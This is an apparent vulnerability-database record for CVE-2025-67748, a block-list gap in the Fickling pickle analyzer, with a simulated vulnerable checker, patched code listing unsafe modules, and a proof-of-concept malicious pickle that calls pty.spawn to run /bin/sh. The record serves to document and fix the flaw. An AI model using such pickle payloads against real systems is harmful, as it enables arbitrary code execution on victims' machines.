{"id":1511,"cve":"CVE-2025-67748","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2025-67748\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":7.1,"published":"2025-12-16","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Poorly Designed Access Controls","scope":"Local","impact":"Arbitrary Code Execution","summary":"Fickling fails to block the 'pty' module, misclassifying unsafe pickles.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2025-67748\/","description":"Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 had a bypass caused by `pty` missing from the block list of unsafe module imports. This led to unsafe pickles based on `pty.spawn()` being incorrectly flagged as `LIKELY_SAFE`, and was fixed in version 0.1.6. This impacted any user or system that used Fickling to vet pickle files for security issues.","solution":"Upgrade Fickling to version 0.1.6 or later.","affected_component":"Fickling","fixed_by_upgrading":true,"vulnerable_code":"import pickle\nimport pty\n\n# This code represents the logic of Fickling versions prior to 0.1.6.\n# The vulnerability lies in the 'pty' module being absent from the blocklist.\n\n# Incomplete blocklist missing the 'pty' module.\nVULNERABLE_BLOCKLIST = {\n    'os',\n    'subprocess',\n    'shutil',\n    'sys',\n    'socket',\n    'eval',\n    'exec'\n}\n\ndef vulnerable_fickling_check(pickle_bytes):\n    \"\"\"\n    A simplified simulation of the vulnerable Fickling analysis.\n    It checks for module names within the pickle data. A real decompiler\n    would analyze opcodes like GLOBAL.\n    \"\"\"\n    # This simplistic check finds module names as strings in the pickle data.\n    if b'pty' in pickle_bytes and 'pty' not in VULNERABLE_BLOCKLIST:\n        # This is the flawed logic: it finds 'pty' but since it's not\n        # in the blocklist, it proceeds towards a 'LIKELY_SAFE' result.\n        pass\n    elif any(module.encode() in pickle_bytes for module in VULNERABLE_BLOCKLIST):\n        return \"UNSAFE\"\n    \n    # Because 'pty' is not on the blocklist, the check incorrectly passes.\n    return \"LIKELY_SAFE\"\n\n\n# 1. We define a malicious class that uses pty.spawn for code execution.\n#    This payload, when unpickled, would attempt to spawn a shell.\nclass Exploit:\n    def __reduce__(self):\n        return (pty.spawn, ([\"\/bin\/sh\"],))\n\n\n# 2. We create the malicious pickle data.\nmalicious_pickle = pickle.dumps(Exploit())\n\n\n# 3. We run the vulnerable analysis function against the malicious pickle.\nanalysis_result = vulnerable_fickling_check(malicious_pickle)\n\n\n# 4. The result demonstrates the vulnerability. The dangerous pickle is\n#    incorrectly classified as safe.\nprint(f\"Payload using pty.spawn was classified as: {analysis_result}\")\n\n# The line below would execute the payload if the pickle were loaded.\n# It is commented out for safety.\n# pickle.loads(malicious_pickle)","patched_code":"# This code represents a hypothetical fix in a file like fickling\/security.py\n#\n# The original vulnerability was that 'pty' was missing from this set,\n# allowing pickles that used pty.spawn() to be incorrectly marked as safe.\n#\n# The fix is to add 'pty' to the set of known unsafe module imports.\n\nimport sys\n\n# A frozenset of known unsafe module imports that can be used for RCE.\n# The addition of 'pty' to this set is the fix for CVE-2025-67748.\n_UNSAFE_IMPORTS = frozenset(\n    [\n        \"__builtin__\",\n        \"__main__\",\n        \"builtins\",\n        \"copy_reg\",\n        \"ctypes\",\n        \"dill\",\n        \"marshal\",\n        \"modules\",\n        \"os\",\n        \"pickle\",\n        \"pty\",  # This line is the fix.\n        \"shelve\",\n        \"shutil\",\n        \"subprocess\",\n        \"sys\",\n        \"system\",\n        \"torch\",\n        \"winreg\",\n        \"_winreg\",\n        \"zipfile\",\n        \"zipimport\",\n    ]\n)\n\ndef is_import_safe(module_name: str) -> bool:\n    \"\"\"\n    Checks if a module is in the block list of unsafe imports.\n    \"\"\"\n    # In a real scenario, this might involve more complex checks,\n    # but the core logic relies on the _UNSAFE_IMPORTS set.\n    return module_name not in _UNSAFE_IMPORTS\n\nif __name__ == \"__main__\":\n    # Demonstration of the fix\n    vulnerable_import = \"pty\"\n    another_unsafe_import = \"os\"\n    safe_import = \"math\"\n\n    print(f\"Checking module '{vulnerable_import}'...\")\n    if is_import_safe(vulnerable_import):\n        print(f\"Result: '{vulnerable_import}' is considered safe. (This would be the VULNERABLE behavior)\")\n    else:\n        print(f\"Result: '{vulnerable_import}' is correctly flagged as UNSAFE. (This is the FIXED behavior)\")\n\n    print(\"-\" * 20)\n\n    print(f\"Checking module '{another_unsafe_import}'...\")\n    if is_import_safe(another_unsafe_import):\n        print(f\"Result: '{another_unsafe_import}' is considered safe.\")\n    else:\n        print(f\"Result: '{another_unsafe_import}' is correctly flagged as UNSAFE.\")\n\n    print(\"-\" * 20)\n\n    print(f\"Checking module '{safe_import}'...\")\n    if is_import_safe(safe_import):\n        print(f\"Result: '{safe_import}' is correctly flagged as SAFE.\")\n    else:\n        print(f\"Result: '{safe_import}' is considered unsafe.\")\n","payload_needed":true,"payload":"```python\nimport pickle\nimport pty\n\nclass Exploit:\n    def __reduce__(self):\n        return (pty.spawn, (['\/bin\/sh', '-c', 'touch \/tmp\/pwned'],))\n\nmalicious_pickle_payload = pickle.dumps(Exploit())\n```","payload_status":"available","published_fix":[{"repository":"trailofbits\/fickling","commit_url":"https:\/\/github.com\/trailofbits\/fickling\/pull\/108","commit_subject":"Add pty to unsafeimports","units":[{"file":"fickling\/fickle.py","function":"Pickled.unsafe_imports"}]},{"repository":"trailofbits\/fickling","commit_url":"https:\/\/github.com\/trailofbits\/fickling\/pull\/187","commit_subject":"Add pty to unsafe modules","units":[{"file":"fickling\/analysis.py","function":null},{"file":"fickling\/fickle.py","function":"Pickled.unsafe_imports"}]}],"references":null}